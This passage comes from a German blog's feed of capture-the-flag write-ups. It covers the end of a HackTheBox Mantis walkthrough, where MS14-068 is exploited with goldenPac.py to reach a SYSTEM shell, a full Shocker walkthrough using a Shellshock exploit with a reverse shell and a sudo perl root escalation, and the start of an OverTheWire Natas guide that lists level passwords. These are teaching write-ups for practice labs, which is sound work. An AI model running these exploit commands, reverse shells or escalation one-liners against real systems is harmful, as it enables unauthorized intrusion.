</span></span><span style="display:flex;"><span>127.0.0.1 localhost
</span></span><span style="display:flex;"><span>127.0.1.1 kali
</span></span><span style="display:flex;"><span>10.10.10.52 mantis.htb.local htb.local
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># The following lines are desirable for IPv6 capable hosts</span>
</span></span><span style="display:flex;"><span>::1 localhost ip6-localhost ip6-loopback
</span></span><span style="display:flex;"><span>ff02::1 ip6-allnodes
</span></span><span style="display:flex;"><span>ff02::2 ip6-allrouters
</span></span></code></pre></div><p>Als nächstes können wir das Python Skript <strong>goldenPac.py</strong> von der Python Klassen Sammlung <a href="https://github.com/CoreSecurity/impacket">Impacket</a> benutzen, um die kritische Kerberos Schwachstelle <a href="https://docs.microsoft.com/de-de/security-updates/SecurityBulletins/2014/ms14-068">MS14-068</a> auszunutzen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~/impacket# goldenPac.py htb.local/james:J@m3s_P@ssW0rd<span style="color:#ae81ff">\!</span>@mantis.htb.local
</span></span><span style="display:flex;"><span>Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Forest SID: S-1-5-21-4220043660-4019079961-2895681657
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Attacking domain controller mantis.htb.local
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> mantis.htb.local found vulnerable!
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Requesting shares on mantis.htb.local.....
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Found writable share ADMIN$
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Uploading file TBDMYhpQ.exe
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Opening SVCManager on mantis.htb.local.....
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Creating service sust on mantis.htb.local.....
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Starting service sust.....
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>!<span style="color:#f92672">]</span> Press help <span style="color:#66d9ef">for</span> extra shell commands
</span></span><span style="display:flex;"><span>Microsoft Windows <span style="color:#f92672">[</span>Version 6.1.7601<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Copyright <span style="color:#f92672">(</span>c<span style="color:#f92672">)</span> <span style="color:#ae81ff">2009</span> Microsoft Corporation. All rights reserved.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\s</span>ystem32&gt;whoami
</span></span><span style="display:flex;"><span>nt authority<span style="color:#ae81ff">\s</span>ystem
</span></span></code></pre></div><p>Jetzt können wir uns die User und die Root Flag abholen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\s</span>ystem32&gt;cd C:/users
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers&gt;dir
</span></span><span style="display:flex;"><span>Volume in drive C has no label.
</span></span><span style="display:flex;"><span>Volume Serial Number is 1A7A-6541
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Directory of C:<span style="color:#ae81ff">\U</span>sers
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>09/01/2017 09:19 AM &lt;DIR&gt; .
</span></span><span style="display:flex;"><span>09/01/2017 09:19 AM &lt;DIR&gt; ..
</span></span><span style="display:flex;"><span>09/01/2017 12:39 AM &lt;DIR&gt; Administrator
</span></span><span style="display:flex;"><span>09/01/2017 08:02 AM &lt;DIR&gt; Classic .NET AppPool
</span></span><span style="display:flex;"><span>09/01/2017 09:19 AM &lt;DIR&gt; james
</span></span><span style="display:flex;"><span>09/01/2017 08:15 AM &lt;DIR&gt; MSSQL$SQLEXPRESS
</span></span><span style="display:flex;"><span>07/13/2009 11:57 PM &lt;DIR&gt; Public
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0</span> File<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> <span style="color:#ae81ff">0</span> bytes
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">7</span> Dir<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> 921,141,248 bytes free
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers&gt;cd james
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>ames&gt;cd Desktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>ames<span style="color:#ae81ff">\D</span>esktop&gt;dir
</span></span><span style="display:flex;"><span>Volume in drive C has no label.
</span></span><span style="display:flex;"><span>Volume Serial Number is 1A7A-6541
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Directory of C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>ames<span style="color:#ae81ff">\D</span>esktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>09/01/2017 01:10 PM &lt;DIR&gt; .
</span></span><span style="display:flex;"><span>09/01/2017 01:10 PM &lt;DIR&gt; ..
</span></span><span style="display:flex;"><span>09/01/2017 09:19 AM <span style="color:#ae81ff">32</span> user.txt
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> File<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> <span style="color:#ae81ff">32</span> bytes
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span> Dir<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> 921,141,248 bytes free
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>ames<span style="color:#ae81ff">\D</span>esktop&gt;more user.txt
</span></span><span style="display:flex;"><span>8a8#########ZENSIERT#########54d
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>ames<span style="color:#ae81ff">\D</span>esktop&gt;cd ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\j</span>ames&gt;cd ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers&gt;cd admin
</span></span><span style="display:flex;"><span>The system cannot find the path specified.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers&gt;cd Administrator
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\A</span>dministrator&gt;cd Desktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\A</span>dministrator<span style="color:#ae81ff">\D</span>esktop&gt;dir
</span></span><span style="display:flex;"><span>Volume in drive C has no label.
</span></span><span style="display:flex;"><span>Volume Serial Number is 1A7A-6541
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Directory of C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\A</span>dministrator<span style="color:#ae81ff">\D</span>esktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>09/01/2017 01:10 PM &lt;DIR&gt; .
</span></span><span style="display:flex;"><span>09/01/2017 01:10 PM &lt;DIR&gt; ..
</span></span><span style="display:flex;"><span>09/01/2017 09:16 AM <span style="color:#ae81ff">32</span> root.txt
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> File<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> <span style="color:#ae81ff">32</span> bytes
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span> Dir<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span> 921,141,248 bytes free
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:<span style="color:#ae81ff">\U</span>sers<span style="color:#ae81ff">\A</span>dministrator<span style="color:#ae81ff">\D</span>esktop&gt;more root.txt
</span></span><span style="display:flex;"><span>209#########ZENSIERT#########567
</span></span></code></pre></div><p>Vielen Dank für&rsquo;s durchlesen. :)</p>
]]></content></item><item><title>HackTheBox - Shocker WriteUp | Tipps + Anleitung</title><link>https://m10x.de/posts/2018/02/hackthebox-shocker-writeup-tipps--anleitung/</link><pubDate>Tue, 20 Feb 2018 16:41:56 +0100</pubDate><guid>https://m10x.de/posts/2018/02/hackthebox-shocker-writeup-tipps--anleitung/</guid><description>HackTheBox - Shocker WriteUp | Tipps + Anleitung | htb Shocker ist eine der vielen Verfügbaren CTF Challenges von HackTheBox. Shocker ist eine leichte bis mittelschwere Maschine von HackTheBox.
Tipps Der Webserver hat ein interessantes Verzeichnis mit einer Datei drin.
Der Name der Maschine ist bei HackTheBox oft ein Tipp. Das Beitragsbild, welches ich mit meinen immensen Photoshop Sk1llz erstellt habe, ist auch ein &amp;ldquo;dezenter&amp;rdquo; Hinweis.
Root-Rechte zu bekommen ist sehr einfach.</description><content type="html"><![CDATA[<h1 id="hackthebox---shocker-writeup--tipps--anleitung--htb">HackTheBox - Shocker WriteUp | Tipps + Anleitung | htb</h1>
<p><a href="https://www.hackthebox.eu/home/machines/profile/108">Shocker</a> ist eine der vielen Verfügbaren CTF Challenges von <a href="https://hackthebox.eu/">HackTheBox</a>. <a href="https://www.hackthebox.eu/home/machines/profile/108">Shocker</a> ist eine leichte bis mittelschwere Maschine von <a href="https://hackthebox.eu/">HackTheBox</a>.</p>
<p><a href="https://imgur.com/zKAwrxI"><img alt="htbrating" src="https://imgur.com/zKAwrxI.jpg"></a></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<p>Der Webserver hat ein interessantes Verzeichnis mit einer Datei drin.</p>
<p>Der Name der Maschine ist bei HackTheBox oft ein Tipp. Das Beitragsbild, welches ich mit meinen immensen Photoshop Sk1llz erstellt habe, ist auch ein &ldquo;dezenter&rdquo; Hinweis.</p>
<p>Root-Rechte zu bekommen ist sehr einfach. Allerdings werden dafür Anfängerkenntnisse einer bestimmten Sprache gebraucht.</p>
<h2 id="video"><strong>Video</strong></h2>
<p><a href="http://www.youtube.com/watch?v=DhlNO97IztU"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/DhlNO97IztU/0.jpg"></a></p>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>Als erstes kommt wie immer ein Nmap-Scan.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nmap -A 10.10.10.56
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>80/tcp open http Apache httpd 2.4.18 <span style="color:#f92672">((</span>Ubuntu<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.18 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title: Site doesn<span style="color:#960050;background-color:#1e0010">&#39;</span>t have a title <span style="color:#f92672">(</span>text/html<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Wenn wir einen Verzeichnis-Bruteforce machen, finden wir das Verzeichnis <strong>cgi-bin</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# dirb http://10.10.10.56/ /usr/share/wordlists/dirb/common.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>---- Scanning URL: http://10.10.10.56/ ----
</span></span><span style="display:flex;"><span>+ http://10.10.10.56/cgi-bin/ <span style="color:#f92672">(</span>CODE:403|SIZE:294<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>+ http://10.10.10.56/index.html <span style="color:#f92672">(</span>CODE:200|SIZE:137<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>+ http://10.10.10.56/server-status <span style="color:#f92672">(</span>CODE:403|SIZE:299<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Im Verzeichnis <strong>cgi-bin</strong> befinden sich normalerweise verschiedene Scripts wie z.B. Perl oder Bash. Versuchen wir doch mal welche durch einen weiteren Brute-Force zu finden. Nach der Option <strong>-X</strong> können wir Dateiendungen festlegen, welche an jeden String in unserer Wortliste angehängt werden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# dirb http://10.10.10.56/cgi-bin/ /usr/share/wordlists/dirb/common.txt -X .sh,.pl
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>---- Scanning URL: http://10.10.10.56/cgi-bin/ ----
</span></span><span style="display:flex;"><span>+ http://10.10.10.56/cgi-bin/user.sh <span style="color:#f92672">(</span>CODE:200|SIZE:118<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Das Shell-Skript <strong>user.sh</strong> wurde in dem Verzeichnis <strong>cgi-bin</strong> gefunden.</p>
<p>Anhand des Namens der Maschine ( Shocker ) liegt der verdacht nahe, dass hier die <a href="https://de.wikipedia.org/wiki/Shellshock_(Sicherheitsl%C3%BCcke)">Shellshock</a> Sicherheitslücke ausgenutzt werden kann.<br>
Mithilfe von <strong>searchsploit</strong> können wir nach Exploits für <a href="https://de.wikipedia.org/wiki/Shellshock_(Sicherheitsl%C3%BCcke)">Shellshock</a> suchen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# searchsploit shellshock
</span></span><span style="display:flex;"><span>--------------------------------------- ----------------------------------
</span></span><span style="display:flex;"><span>Exploit Title                          | Path
</span></span><span style="display:flex;"><span>                                       | <span style="color:#f92672">(</span>/usr/share/exploitdb/<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>--------------------------------------- ----------------------------------
</span></span><span style="display:flex;"><span>Advantech Switch - <span style="color:#e6db74">&#39;Shellshock&#39;</span> Bash E | exploits/cgi/remote/38849.rb
</span></span><span style="display:flex;"><span>Apache mod_cgi - <span style="color:#e6db74">&#39;Shellshock&#39;</span> Remote C | exploits/linux/remote/34900.py
</span></span><span style="display:flex;"><span>Bash - <span style="color:#e6db74">&#39;Shellshock&#39;</span> Environment Variab | exploits/linux/remote/34766.php
</span></span><span style="display:flex;"><span>Bash CGI - <span style="color:#e6db74">&#39;Shellshock&#39;</span> Remote Command | exploits/cgi/webapps/34895.rb
</span></span><span style="display:flex;"><span>Cisco UCS Manager 2.1<span style="color:#f92672">(</span>1b<span style="color:#f92672">)</span> - Remote Com | exploits/hardware/remote/39568.py
</span></span><span style="display:flex;"><span>GNU Bash - <span style="color:#e6db74">&#39;Shellshock&#39;</span> Environment Va | exploits/linux/remote/34765.txt
</span></span><span style="display:flex;"><span>IPFire - <span style="color:#e6db74">&#39;Shellshock&#39;</span> Bash Environment | exploits/cgi/remote/39918.rb
</span></span><span style="display:flex;"><span>NUUO NVRmini <span style="color:#ae81ff">2</span> 3.0.8 - Remote Command  | exploits/cgi/webapps/40213.txt
</span></span><span style="display:flex;"><span>OpenVPN 2.2.29 - <span style="color:#e6db74">&#39;Shellshock&#39;</span> Remote C | exploits/linux/remote/34879.txt
</span></span><span style="display:flex;"><span>PHP &lt; 5.6.2 - <span style="color:#e6db74">&#39;Shellshock&#39;</span> <span style="color:#e6db74">&#39;disable_fu | exploits/php/webapps/35146.txt
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Postfix SMTP 4.2.x &lt; 4.2.48 - &#39;</span>Shellsh | exploits/linux/remote/34896.py
</span></span><span style="display:flex;"><span>RedStar 3.0 Server - <span style="color:#e6db74">&#39;Shellshock&#39;</span> <span style="color:#960050;background-color:#1e0010">&#39;</span>BEA | exploits/linux/local/40938.py
</span></span><span style="display:flex;"><span>Sun Secure Global Desktop and Oracle G | exploits/cgi/webapps/39887.txt
</span></span><span style="display:flex;"><span>TrendMicro InterScan Web Security Virt | exploits/hardware/remote/40619.py
</span></span><span style="display:flex;"><span>dhclient 4.1 - Bash Environment Variab | exploits/linux/remote/36933.py
</span></span><span style="display:flex;"><span>--------------------------------------- ----------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Result
</span></span></code></pre></div><p>Es gibt viele verschiedene Skripte, welche Remote Code Execution durch <a href="https://de.wikipedia.org/wiki/Shellshock_(Sicherheitsl%C3%BCcke)">Shellshock</a> ermöglichen.</p>
<p>Einfachheitshalber können wir eines der Skripte benutzen, welche dank Exploitdb schon auf unserer Maschine vorhanden sind.<br>
Ich benutze das Skript, welches an zweiter Stelle von <strong>searchsploit</strong> angezeigt wurde.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# python /usr/share/exploitdb/exploits/linux/remote/34900.py
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Shellshock apache mod_cgi remote exploit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Usage:
</span></span><span style="display:flex;"><span>./exploit.py var<span style="color:#f92672">=</span>&lt;value&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Vars:
</span></span><span style="display:flex;"><span>rhost: victim host
</span></span><span style="display:flex;"><span>rport: victim port <span style="color:#66d9ef">for</span> TCP shell binding
</span></span><span style="display:flex;"><span>lhost: attacker host <span style="color:#66d9ef">for</span> TCP shell reversing
</span></span><span style="display:flex;"><span>lport: attacker port <span style="color:#66d9ef">for</span> TCP shell reversing
</span></span><span style="display:flex;"><span>pages: specific cgi vulnerable pages <span style="color:#f92672">(</span>separated by comma<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>proxy: host:port proxy
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Payloads:
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;reverse&#34;</span> <span style="color:#f92672">(</span>unix unversal<span style="color:#f92672">)</span> TCP reverse shell <span style="color:#f92672">(</span>Requires: rhost, lhost, lport<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;bind&#34;</span> <span style="color:#f92672">(</span>uses non-bsd netcat<span style="color:#f92672">)</span> TCP bind shell <span style="color:#f92672">(</span>Requires: rhost, rport<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Example:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./exploit.py payload<span style="color:#f92672">=</span>reverse rhost<span style="color:#f92672">=</span>1.2.3.4 lhost<span style="color:#f92672">=</span>5.6.7.8 lport<span style="color:#f92672">=</span><span style="color:#ae81ff">1234</span>
</span></span><span style="display:flex;"><span>./exploit.py payload<span style="color:#f92672">=</span>bind rhost<span style="color:#f92672">=</span>1.2.3.4 rport<span style="color:#f92672">=</span><span style="color:#ae81ff">1234</span>
</span></span></code></pre></div><p>Als Parameter müssen wir <strong>payload</strong>, <strong>rhost</strong>, <strong>lhost</strong>, <strong>lport</strong> und ebenfalls <strong>pages</strong> festlegen.</p>
<p>Jetzt müssen wir nur noch eben unsere IP-Adresse nachsehen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ifconfig tun0
</span></span><span style="display:flex;"><span>tun0: flags<span style="color:#f92672">=</span>4305&lt;UP,POINTOPOINT,RUNNING,NOARP,MULTICAST&gt; mtu <span style="color:#ae81ff">1500</span>
</span></span><span style="display:flex;"><span>inet 10.10.15.14 netmask 255.255.254.0 destination 10.10.15.14
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Alle Parameter festlegen und los geht&rsquo;s!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# python /usr/share/exploitdb/exploits/linux/remote/34900.py payload<span style="color:#f92672">=</span>reverse rhost<span style="color:#f92672">=</span>10.10.10.56 lhost<span style="color:#f92672">=</span>10.10.15.14 lport<span style="color:#f92672">=</span><span style="color:#ae81ff">1234</span> pages<span style="color:#f92672">=</span>/cgi-bin/user.sh
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>!<span style="color:#f92672">]</span> Started reverse shell handler
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>-<span style="color:#f92672">]</span> Trying exploit on : /cgi-bin/user.sh
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>!<span style="color:#f92672">]</span> Successfully exploited
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>!<span style="color:#f92672">]</span> Incoming connection from 10.10.10.56
</span></span><span style="display:flex;"><span>10.10.10.56&gt; whoami
</span></span><span style="display:flex;"><span>shelly
</span></span></code></pre></div><p>Es hat funktioniert, wir haben nun als der Benutzer <strong>Shelly</strong> Zugriff.</p>
<p>Mit <strong>sudo -l</strong> können wir nachsehen, welche Befehle wir als der aktuelle Benutzer mit Root Rechten ausführen lassen können.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>10.10.10.56&gt; sudo -l
</span></span><span style="display:flex;"><span>Matching Defaults entries <span style="color:#66d9ef">for</span> shelly on Shocker:
</span></span><span style="display:flex;"><span>env_reset, mail_badpass,
</span></span><span style="display:flex;"><span>secure_path<span style="color:#f92672">=</span>/usr/local/sbin<span style="color:#ae81ff">\:</span>/usr/local/bin<span style="color:#ae81ff">\:</span>/usr/sbin<span style="color:#ae81ff">\:</span>/usr/bin<span style="color:#ae81ff">\:</span>/sbin<span style="color:#ae81ff">\:</span>/bin<span style="color:#ae81ff">\:</span>/snap/bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User shelly may run the following commands on Shocker:
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> NOPASSWD: /usr/bin/perl
</span></span></code></pre></div><p>Wir können also Perl-Befehle als Root ausführen ohne ein Password zu benötigen!</p>
<p>Wir können nun mithilfe von Perl <strong>/bin/sh</strong> ausführen lassen, wodurch wir eine Bash-Shell bekommen. Da wir <strong>sudo</strong> benutzen, wird die Bash-Shell als Root ausgeführt.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>10.10.10.56&gt; sudo perl -e <span style="color:#e6db74">&#39;exec &#34;/bin/sh&#34;;&#39;</span>
</span></span><span style="display:flex;"><span>10.10.10.56&gt; whoami
</span></span><span style="display:flex;"><span>root
</span></span></code></pre></div><p>Jetzt wo wir Root-Rechte haben, können wir uns den Root-Hash anzeigen lassen und uns natürlich auch noch den User-Hash holen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>10.10.10.56&gt; cat /root/root.txt
</span></span><span style="display:flex;"><span>52c#########ZENSIERT#########467
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.56&gt; cat /home/shelly/user.txt
</span></span><span style="display:flex;"><span>2ec#########ZENSIERT#########233
</span></span></code></pre></div><p>Vielen Dank für&rsquo;s durchlesen. :)</p>
]]></content></item><item><title>OverTheWire Natas WriteUp - Level 0 bis 14</title><link>https://m10x.de/posts/2018/02/overthewire-natas-writeup-level-0-bis-14/</link><pubDate>Tue, 13 Feb 2018 21:27:56 +0100</pubDate><guid>https://m10x.de/posts/2018/02/overthewire-natas-writeup-level-0-bis-14/</guid><description>Einleitung Wargames OverTheWire.org bietet über 15 verschiedene Wargames an, welche verschiedene Schwierigskeitgrade haben. Wenn du den Begriff &amp;ldquo;Wargame&amp;rdquo; im Bezug zu Cyber Security zum ersten Mal hörst, fragst du dich bestimmt: &amp;ldquo;Was ist eigentlich ein Wargame?&amp;rdquo;.
Wargames sind Herausforderungen, entweder online oder offline als Virtuelle Maschine, in denen man versucht Sicherheitslücken auszunutzen und/oder Zugriff zu etwas zu erlangen. Sie sind teilweise sehr unterschiedlich was die benötigten Fähigkeiten, die Herausforderung und die Vorgehensweise anbelangt.</description><content type="html"><![CDATA[<h2 id="einleitung-wargames"><strong>Einleitung Wargames</strong></h2>
<p><a href="http://overthewire.org/wargames/">OverTheWire.org</a> bietet über 15 verschiedene Wargames an, welche verschiedene Schwierigskeitgrade haben. Wenn du den Begriff &ldquo;Wargame&rdquo; im Bezug zu Cyber Security zum ersten Mal hörst, fragst du dich bestimmt: &ldquo;Was ist eigentlich ein Wargame?&rdquo;.<br>
Wargames sind Herausforderungen, entweder online oder offline als Virtuelle Maschine, in denen man versucht Sicherheitslücken auszunutzen und/oder Zugriff zu etwas zu erlangen. Sie sind teilweise sehr unterschiedlich was die benötigten Fähigkeiten, die Herausforderung und die Vorgehensweise anbelangt. Wargames werden von verschiedenen Internetseiten angeboten und haben teilweise eine große Community. Eine Liste von Wargame Anbietern kannst du <a href="https://github.com/apsdehal/awesome-ctf#wargames">hier</a> finden.</p>
<h2 id="level-0"><strong>Level 0</strong></h2>
<p>Nachdem wir uns auf <a href="http://natas0.natas.labs.overthewire.org/">http://natas0.natas.labs.overthewire.org/</a> mit dem Nutzernamen <strong>natas0</strong> und Password <strong>natas0</strong> angemeldet haben, sehen wir eine Seite mit dem Text <strong>You can find the password for the next level on this page.</strong>.  Wenn wir uns den Seitenquelltext anzeigen lassen, finden wir bei Zeile 16 folgendes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>&lt;!--The password <span style="color:#66d9ef">for</span> natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto --&gt;
</span></span></code></pre></div><h2 id="level-0---level-1"><strong>Level 0 -&gt; Level 1</strong></h2>
<p>Diesmal ist das Password für das nächste Level wieder im Seitenquelltext versteckt, allerdings wird der Rechtsklick der Maus blockiert. Das ist aber kein Problem für uns, da wir mit <strong>Strg + U</strong> uns trotzdem den Seitenquelltext anzeigen lassen können. Bei Zeile 17 finden wir dann folgendes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>&lt;!--The password <span style="color:#66d9ef">for</span> natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi --&gt;
</span></span></code></pre></div><h2 id="level-1---level-2"><strong>Level 1 -&gt; Level 2</strong></h2>
<p>Wir sehen uns wieder zuerst den Seitenquelltext an. In Zeile 15 finden wir folgendes:</p>
